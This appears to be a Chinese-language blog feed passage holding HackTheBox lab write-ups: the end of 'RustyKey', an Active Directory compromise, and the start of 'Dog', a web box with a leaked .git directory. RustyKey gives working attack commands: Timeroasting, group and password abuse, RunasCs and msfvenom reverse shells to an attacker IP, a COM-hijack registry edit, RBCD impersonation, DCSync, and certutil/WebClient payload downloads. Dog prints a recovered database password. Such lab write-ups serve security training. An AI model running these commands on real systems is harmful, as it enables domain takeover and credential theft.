|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=7/3%OT=53%CT=1%CU=43994%PV=Y%DS=2%DC=T%G=Y%TM=68661B63
OS:%P=aarch64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=
OS:S%TS=U)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=107%GCD=
OS:1%ISR=107%TI=RD%CI=I%II=I%TS=U)SEQ(SP=109%GCD=1%ISR=109%TI=I%CI=I%TS=U)S
OS:EQ(SP=F9%GCD=1%ISR=110%TI=RD%CI=I%II=I%TS=U)OPS(O1=M542NW8NNS%O2=M542NW8
OS:NNS%O3=M542NW8%O4=M542NW8NNS%O5=M542NW8NNS%O6=M542NNS)WIN(W1=FFFF%W2=FFF
OS:F%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542NW8NNS%
OS:CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%
OS:A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%
OS:DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-03T10:01:35
|_  start_date: N/A
|_clock-skew: 4h06m06s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   256.46 ms 10.10.16.1
2   458.20 ms 10.10.11.75

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 174.16 seconds


sudo nmap -sC -sV 10.10.11.75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;端口 135: RPC (Remote Procedure Call)
端口 88: Kerberos
端口 139 &amp;amp; 445: NetBIOS &amp;amp; SMB&lt;/p&gt;
&lt;p&gt;默认给出账户无法直接用于认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@kali] /home/kali/RustyKey  
❯ nxc smb 10.10.11.75 -u &apos;rr.parker&apos; -p &apos;8#t5HE8L!W3A&apos;                                                                                        ⏎
SMB         10.10.11.75     445    NONE             [*]  x64 (name:) (domain:) (signing:True) (SMBv1:False)
SMB         10.10.11.75     445    NONE             [-] \rr.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED 

[root@kali] /home/kali/RustyKey  
❯ nxc ldap 10.10.11.75 -u &apos;rr.parker&apos; -p &apos;8#t5HE8L!W3A&apos;
LDAP        10.10.11.75     389    dc.rustykey.htb  [*]  x64 (name:dc.rustykey.htb) (domain:rustykey.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.75     389    dc.rustykey.htb  [-] rustykey.htb\rr.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完善客户端配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@kali] /home/kali  
❯ cat /etc/krb5.conf 
[libdefaults]
    default_realm = RUSTYKEY.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    ticket_lifetime = 24h
    forwardable = true

[realms]
    RUSTYKEY.HTB = {
        kdc = 10.10.11.75
    }

[domain_realm]
    .rustykey.htb = RUSTYKEY.HTB
    rustykey.htb = RUSTYKEY.HTB

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求&lt;code&gt;Kerberos&lt;/code&gt;票据来进行认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT rustykey.htb/&apos;rr.parker&apos;:&apos;8#t5HE8L!W3A&apos;
export KRB5CCNAME=/home/kali/RustyKey/rr.parker.ccache
nxc ldap 10.10.11.75 -u &apos;rr.parker&apos; -p &apos;8#t5HE8L!W3A&apos; -k 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;User Enumerate&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.75 -u &apos;rr.parker&apos; -p &apos;8#t5HE8L!W3A&apos; -k --users  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Timeroasting to hash leak
使用前提&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 目标必须是计算机账户，不能直接针对普通用户账户（除非做“目标Timeroasting”修改属性）。
2. 目标域控制器开启并响应带有 Microsoft SNTP 扩展认证（MS-SNTP）的 NTP 服务，UDP 123端口开放。
3. 攻击者能向 DC 发送未认证的 MS-SNTP 请求（无需有效凭证）。
4. 能枚举域内计算机账户的 RID（相对标识符）。
5. （可选）针对“目标Timeroasting”，需要域管理员权限，临时修改用户账户属性使其被当作计算机账户处理。
6. 域中计算机账户密码未被强力保护（例如弱密码或未定期更换）。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以使用的脚本：&lt;a href=&quot;https://github.com/SecuraBV/Timeroast&quot;&gt;SecuraBV/Timeroast: Timeroasting scripts by Tom Tervoort&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python timeroast.py 10.10.11.75   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考文章：&lt;a href=&quot;https://medium.com/@offsecdeer/targeted-timeroasting-stealing-user-hashes-with-ntp-b75c1f71b9ac&quot;&gt;Targeted Timeroasting: Stealing User Hashes With NTP | Medium&lt;/a&gt; 使用&lt;code&gt;hashcat&lt;/code&gt;进行爆破需要使用&lt;code&gt;Beta&lt;/code&gt;版本 成功破解出密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

$sntp-ms$d7e7fef91094a412a2e8cb82c7716f1a$1c0111e900000000000a10504c4f434cec0d09c52308c3f3e1b8428bffbfcd0aec0d1f46bb191728ec0d1f46bb193052:Rusty88!
Approaching final keyspace - workload adjusted.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bloodhound&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-python  -u &apos;rr.parker&apos; -p &apos;8#t5HE8L!W3A&apos; -k -d rustykey.htb -ns 10.10.11.75 -c ALl --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个密码对应的&lt;code&gt;RID&lt;/code&gt;是上面的&lt;code&gt;1125&lt;/code&gt;的账户，对应的是&lt;code&gt;IT-CONPUTER3&lt;/code&gt;
查看对外权限&lt;/p&gt;
&lt;p&gt;AddSelf TO Helpdesk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT rustykey.htb/&apos;IT-COMPUTER3$&apos;:&apos;Rusty88!&apos;  
export KRB5CCNAME=/home/kali/RustyKey/IT-COMPUTER3\$.ccache 
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; add groupMember HELPDESK &apos;IT-COMPUTER3$&apos;  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Change Password &amp;amp; GetTGT (Failed)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; set password bb.morgan &apos;Abc123456@&apos;
impacket-getTGT rustykey.htb/&apos;bb.morgan&apos;:&apos;Abc123456@&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到这个&lt;code&gt;PROTECTED OBJECTS&lt;/code&gt;组，大概率是因为这个组的限制问题
如果想要获取到&lt;code&gt;bb.morgan&lt;/code&gt;的权限，那么首先就要移除保护&lt;/p&gt;
&lt;p&gt;Remove IT From Protection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; remove groupMember &apos;PROTECTED OBJECTS&apos; &apos;IT&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改密码进行登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; set password bb.morgan &apos;Abc123456@&apos;
impacket-getTGT rustykey.htb/&apos;bb.morgan&apos;:&apos;Abc123456@&apos;
export KRB5CCNAME=/home/kali/RustyKey/bb.morgan.ccache
evil-winrm -i dc.rustykey.htb -u &apos;bb.morgan&apos; -r rustykey.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PDF In DESKTOP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\bb.morgan\desktop&amp;gt; ls


    Directory: C:\Users\bb.morgan\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2025   9:15 AM           1976 internal.pdf
-ar---         7/1/2025   2:54 AM             34 user.txt


*Evil-WinRM* PS C:\Users\bb.morgan\desktop&amp;gt; download internal.pdf
                                        
Info: Downloading C:\Users\bb.morgan\desktop\internal.pdf to internal.pdf

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大致内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **Support组**被临时授予了**扩展权限**，用于测试和排查共享工作站上的文件归档（压缩/解压）功能。
    
- 目的是解决财务和IT团队报告的与上下文菜单操作相关的问题。
    
- 期间可能会对**注册表进行调整**。
    
- 要求避免做无关系统组件的修改。
    
- 权限变更有日志，会在测试稳定后撤销。
    
- 如果遇到权限错误或缺少右键菜单动作，要反馈给DevOps
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思是说&lt;code&gt;SUPPORT&lt;/code&gt;组对注册表有修改权限，并且可以测试压缩/解压相关功能
注意到&lt;code&gt;EE.REED&lt;/code&gt;用户就位于&lt;code&gt;SUPPORT&lt;/code&gt;组中，但是也在&lt;code&gt;PROTECTED OBJECT&lt;/code&gt;组里&lt;/p&gt;
&lt;p&gt;Remove SUPPORT From Protection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export KRB5CCNAME=/home/kali/RustyKey/IT-COMPUTER3\$.ccache
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; remove groupMember &apos;PROTECTED OBJECTS&apos; &apos;SUPPORT&apos; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u &apos;IT-COMPUTER3$&apos; -p &apos;Rusty88!&apos; set password ee.reed &apos;Abc123456@&apos; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是登录不上去
那么需要换一种方式获取到shell&lt;/p&gt;
&lt;p&gt;RunasCs (ee.reed)
上传&lt;code&gt;Runascs.exe&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\bb.morgan\Documents&amp;gt; upload /home/kali/RustyKey/RunasCs.exe
*Evil-WinRM* PS C:\Users\bb.morgan\Documents&amp;gt; .\RunasCS.exe ee.reed Abc123456@ powershell.exe -r 10.10.16.86:6666
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;kali&lt;/code&gt;端进行监听，成功接收到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@kali] /home/kali/RustyKey  
❯ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.16.47] from (UNKNOWN) [10.10.11.75] 62377
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32&amp;gt; whoami
whoami
rustykey\ee.reed
PS C:\Windows\system32&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;COM Hijack
Windows应用程序经常通过CLSID（Class ID）调用COM组件，系统会根据注册表中的配置加载对应的DLL或EXE。攻击者可以: &lt;strong&gt;篡改现有COM组件的注册表项&lt;/strong&gt;，使其指向恶意DLL。在上面的PDF中给出了可能的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **Support组**被临时授予了**扩展权限**，用于测试和排查共享工作站上的文件归档（压缩/解压）功能。
    
- 期间可能会对**注册表进行调整**。

COM Hijack:
- 劫持COM组件的注册表项（CLSID），修改InprocServer32指向恶意DLL/EXE。
- 影响调用该COM组件的所有程序，目标是Windows组件或程序加载COM时被劫持。
- 劫持范围广，可跨进程，且可用来Bypass UAC提权。
- 劫持点在注册表，利用COM对象的加载流程。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于提及到了注册表和压缩相关，先检测一下可能存在的&lt;code&gt;CLSID&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\tmp&amp;gt; reg query HKCR\CLSID /s /f &quot;zip&quot;
reg query HKCR\CLSID /s /f &quot;zip&quot;

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
    (Default)    REG_SZ    7-Zip Shell Extension

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
    (Default)    REG_SZ    C:\Program Files\7-Zip\7-zip.dll

HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
    (Default)    REG_SZ    Compressed (zipped) Folder SendTo Target
    FriendlyTypeName    REG_EXPAND_SZ    @%SystemRoot%\system32\zipfldr.dll,-10226

HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}\DefaultIcon
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

HKEY_CLASSES_ROOT\CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}\InProcServer32
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

HKEY_CLASSES_ROOT\CLSID\{b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af}
    (Default)    REG_SZ    Compressed (zipped) Folder Context Menu

HKEY_CLASSES_ROOT\CLSID\{b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af}\InProcServer32
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

HKEY_CLASSES_ROOT\CLSID\{BD472F60-27FA-11cf-B8B4-444553540000}
    (Default)    REG_SZ    Compressed (zipped) Folder Right Drag Handler

HKEY_CLASSES_ROOT\CLSID\{BD472F60-27FA-11cf-B8B4-444553540000}\InProcServer32
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\DefaultIcon
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\InProcServer32
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

HKEY_CLASSES_ROOT\CLSID\{ed9d80b9-d157-457b-9192-0e7280313bf0}
    (Default)    REG_SZ    Compressed (zipped) Folder DropHandler

HKEY_CLASSES_ROOT\CLSID\{ed9d80b9-d157-457b-9192-0e7280313bf0}\InProcServer32
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\zipfldr.dll

End of search: 14 match(es) found.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到了这个&lt;code&gt;7-Zip&lt;/code&gt;，接下来用&lt;code&gt;msfvenom&lt;/code&gt;生成恶意&lt;code&gt;dll&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.47 LPORT=4444 -f dll -o hack.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传之后修改注册表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\tmp&amp;gt;  reg add &quot;HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; /ve /d &quot;C:\tmp\hack.dll&quot; /f
 reg add &quot;HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; /ve /d &quot;C:\tmp\hack.dll&quot; /f
The operation completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置监听可以得到&lt;code&gt;meterpreter&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf6 exploit(multi/handler) &amp;gt; run
[*] Started reverse TCP handler on 10.10.16.47:4444 
[*] Sending stage (203846 bytes) to 10.10.11.75
[*] Meterpreter session 1 opened (10.10.16.47:4444 -&amp;gt; 10.10.11.75:62445) at 2025-07-01 11:32:19 -0400

meterpreter &amp;gt; getuid
Server username: RUSTYKEY\mm.turner
meterpreter &amp;gt; 
[*] 10.10.11.75 - Meterpreter session 1 closed.  Reason: Died
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RBCD
&lt;a href=&quot;https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd&quot;&gt;(RBCD) Resource-based constrained | The Hacker Recipes&lt;/a&gt; 查看一下这个&lt;code&gt;mm.turner&lt;/code&gt;的权限
&lt;code&gt;AddAllowedToAct&lt;/code&gt;, a write permission on an object’s &lt;code&gt;msDS-Allowed-To-Act-On-Behalf-Of-Other-Identity&lt;/code&gt; attribute, for &lt;a href=&quot;https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd&quot;&gt;Kerberos RBCD&lt;/a&gt; attacks 攻击者拥有 AddAllowedToAct 权限时，可以给自己或受控账户添加委派权限，从而执行身份冒充攻击（S4U2self/S4U2proxy）。 因此可以在接收到meterpreter的时候给&lt;code&gt;IT-COMPUTER$3&lt;/code&gt;设置冒充DC，然后进行&lt;code&gt;RBCD&lt;/code&gt;攻击&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &amp;gt; shell
Process 11164 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows&amp;gt;powershell.exe
powershell.exe
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows&amp;gt; Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
PS C:\Windows&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标是&lt;code&gt;BACKUPADMIN&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export KRB5CCNAME=/home/kali/RustyKey/IT-COMPUTER3\$.ccache 
impacket-getST -spn &apos;cifs/DC.rustykey.htb&apos; -impersonate backupadmin -dc-ip 10.10.11.75 -k &apos;rustykey.htb/IT-COMPUTER3$:Rusty88!&apos;
export KRB5CCNAME=/home/kali/RustyKey/backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在已经成功通过 &lt;strong&gt;Kerberos 委派（S4U）&lt;/strong&gt; 拿到了 &lt;code&gt;backupadmin&lt;/code&gt; 的访问票据，可以理解为“临时借用权限”。然后走&lt;code&gt;wmiexec&lt;/code&gt;拿到shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@kali] /home/kali/RustyKey  
❯ impacket-wmiexec -k -no-pass &apos;rustykey.htb/backupadmin@dc.rustykey.htb&apos;                                                                     ⏎
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\&amp;gt;whoami
rustykey\backupadmin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DCsync
可以拿到&lt;code&gt;administrator&lt;/code&gt;的哈希&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-secretsdump -k -no-pass &apos;rustykey.htb/backupadmin@dc.rustykey.htb&apos;

RUSTYKEY\Administrator:Rustyrc4key#!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后还是得请求票据来进行认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT rustykey.htb/&apos;Administrator&apos; -hashes &quot;:&amp;lt;hidden&amp;gt;&quot;
impacket-getTGT rustykey.htb/Administrator -hashes &apos;:e3aac437da6f5ae94b01a6e5347dd920&apos; -dc-ip 10.10.11.75
export KRB5CCNAME=/home/kali/RustyKey/Administrator.ccache
evil-winrm -i dc.rustykey.htb -u &apos;Administrator&apos; -r rustykey.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;windows上传文件&lt;/p&gt;
&lt;p&gt;方法一：使用 &lt;code&gt;curl&lt;/code&gt; (Invoke-WebRequest) 下载到可写目录 (推荐)&lt;/p&gt;
&lt;p&gt;这是对您原始命令最直接的修正。我们明确指定一个可写的输出路径。&lt;/p&gt;
&lt;p&gt;PowerShell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将文件下载到 C:\Windows\Temp 目录下，并命名为 hack.dll
curl http://10.10.16.86/hack.dll -OutFile C:\Windows\Temp\hack.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;说明：&lt;/strong&gt; 在 PowerShell 中，&lt;code&gt;curl&lt;/code&gt; 是 &lt;code&gt;Invoke-WebRequest&lt;/code&gt; 命令的别名，使用 &lt;code&gt;-OutFile&lt;/code&gt; 参数来指定输出文件路径是更规范、更可靠的写法。&lt;/p&gt;
&lt;p&gt;方法二：使用 &lt;code&gt;certutil.exe&lt;/code&gt; (经典“白名单”下载方法)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;certutil.exe&lt;/code&gt; 是 Windows 自带的证书管理工具，但它有一个常被用于“白利用”(Living Off the Land, LOLBAS) 的功能，可以用来下载文件，这种方式有时能更好地绕过一些简单的安全监控。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://10.10.16.86/hack.dll C:\Windows\Temp\hack.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;方法三：使用 PowerShell 的 .NET 类库&lt;/p&gt;
&lt;p&gt;这是一种更底层的 PowerShell 下载方式，同样非常有效。&lt;/p&gt;
&lt;p&gt;PowerShell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(New-Object System.Net.WebClient).DownloadFile(&apos;http://10.10.16.86/hack.dll&apos;, &apos;C:\Windows\Temp\hack.dll&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>Htb-Dog</title><link>https://sinqwq.top/posts/htb-dog/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-dog/</guid><description>Htb-Dog</description><pubDate>Wed, 09 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;扫描&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.58
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10.10.11.58:22 open
10.10.11.58:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.58        code:200 len:13332  title:Home | Dog
[+] InfoScan http://10.10.11.58        [CMS] 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.58 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo dirsearch -u http://10.10.11.58/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[06:33:19] 301 -  309B  - /.git  -&amp;gt;  http://10.10.11.58/.git/               
[06:33:19] 200 -  604B  - /.git/                                            
[06:33:19] 200 -   23B  - /.git/HEAD                                        
[06:33:19] 200 -  409B  - /.git/branches/
[06:33:19] 200 -   95B  - /.git/COMMIT_EDITMSG                              
[06:33:19] 200 -  650B  - /.git/hooks/
[06:33:19] 200 -   92B  - /.git/config                                      
[06:33:19] 200 -   73B  - /.git/description
[06:33:19] 200 -  455B  - /.git/info/                                       
[06:33:19] 200 -  240B  - /.git/info/exclude
[06:33:19] 200 -  230B  - /.git/logs/HEAD                                   
[06:33:19] 200 -  476B  - /.git/logs/
[06:33:19] 301 -  325B  - /.git/logs/refs/heads  -&amp;gt;  http://10.10.11.58/.git/logs/refs/heads/
[06:33:19] 301 -  319B  - /.git/logs/refs  -&amp;gt;  http://10.10.11.58/.git/logs/refs/
[06:33:20] 200 -  230B  - /.git/logs/refs/heads/master                      
[06:33:20] 301 -  320B  - /.git/refs/heads  -&amp;gt;  http://10.10.11.58/.git/refs/heads/
[06:33:20] 200 -   41B  - /.git/refs/heads/master
[06:33:20] 200 -  461B  - /.git/refs/                                       
[06:33:20] 301 -  319B  - /.git/refs/tags  -&amp;gt;  http://10.10.11.58/.git/refs/tags/
[06:33:20] 200 -    2KB - /.git/objects/                                    
[06:33:32] 403 -  276B  - /.ht_wsr.txt                                      
[06:33:33] 403 -  276B  - /.htaccess.sample                                 
[06:33:33] 403 -  276B  - /.htaccess.orig
[06:33:33] 403 -  276B  - /.htaccess.bak1
[06:33:35] 403 -  276B  - /.htaccess.save                                   
[06:33:40] 200 -  337KB - /.git/index
[06:33:40] 403 -  276B  - /.htaccess_sc
[06:33:40] 403 -  276B  - /.htaccess_extra
[06:33:40] 403 -  276B  - /.htaccess_orig                                   
[06:33:40] 403 -  276B  - /.htaccessBAK                                     
[06:33:40] 403 -  276B  - /.htaccessOLD2
[06:33:40] 403 -  276B  - /.htpasswds                                       
[06:33:40] 403 -  276B  - /.htaccessOLD
[06:33:40] 403 -  276B  - /.htpasswd_test
[06:33:40] 403 -  276B  - /.httr-oauth
[06:33:40] 403 -  276B  - /.html                                            
[06:33:41] 403 -  276B  - /.htm                                             
[06:33:45] 403 -  276B  - /.php                                             
[06:35:15] 301 -  309B  - /core  -&amp;gt;  http://10.10.11.58/core/                                   
[06:35:47] 301 -  310B  - /files  -&amp;gt;  http://10.10.11.58/files/             
[06:35:47] 200 -  595B  - /files/                                           
[06:36:08] 200 -    4KB - /index.php                                        
[06:36:09] 404 -    2KB - /index.php/login/                                 
[06:36:20] 200 -  456B  - /layouts/                                         
[06:36:21] 200 -    7KB - /LICENSE.txt                                      
[06:36:44] 301 -  312B  - /modules  -&amp;gt;  http://10.10.11.58/modules/         
[06:36:44] 200 -  399B  - /modules/                                         
[06:37:28] 200 -    5KB - /README.md                                        
[06:37:36] 200 -  528B  - /robots.txt                                       
[06:37:41] 403 -  276B  - /server-status                                    
[06:37:41] 403 -  276B  - /server-status/                                   
[06:37:45] 200 -    0B  - /settings.php                                     
CTRL+C detected: Pausing threads, please wait...                              
[q]uit / [c]ontinue: c                                                      
[06:37:51] 301 -  310B  - /sites  -&amp;gt;  http://10.10.11.58/sites/             
[06:38:20] 301 -  311B  - /themes  -&amp;gt;  http://10.10.11.58/themes/           
[06:38:20] 200 -  454B  - /themes/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现git泄漏，导出源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git-dumper http://10.10.11.58/.git cat-source
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gittools看一下有不有敏感信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./gitdumper.sh http://dog.htb/.git/ ./dump
./extractor.sh ./dump ./extracted
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$database = &apos;mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另外找到一个用户名（这里稍微有点难发现）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;_config_name&quot;: &quot;update.settings&quot;,
    &quot;_config_static&quot;: true,
...
    &quot;update_emails&quot;: [
        &quot;tiffany@dog.htb&quot;
    ],
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用之前的密码和tiffany用户名可以登录进去。
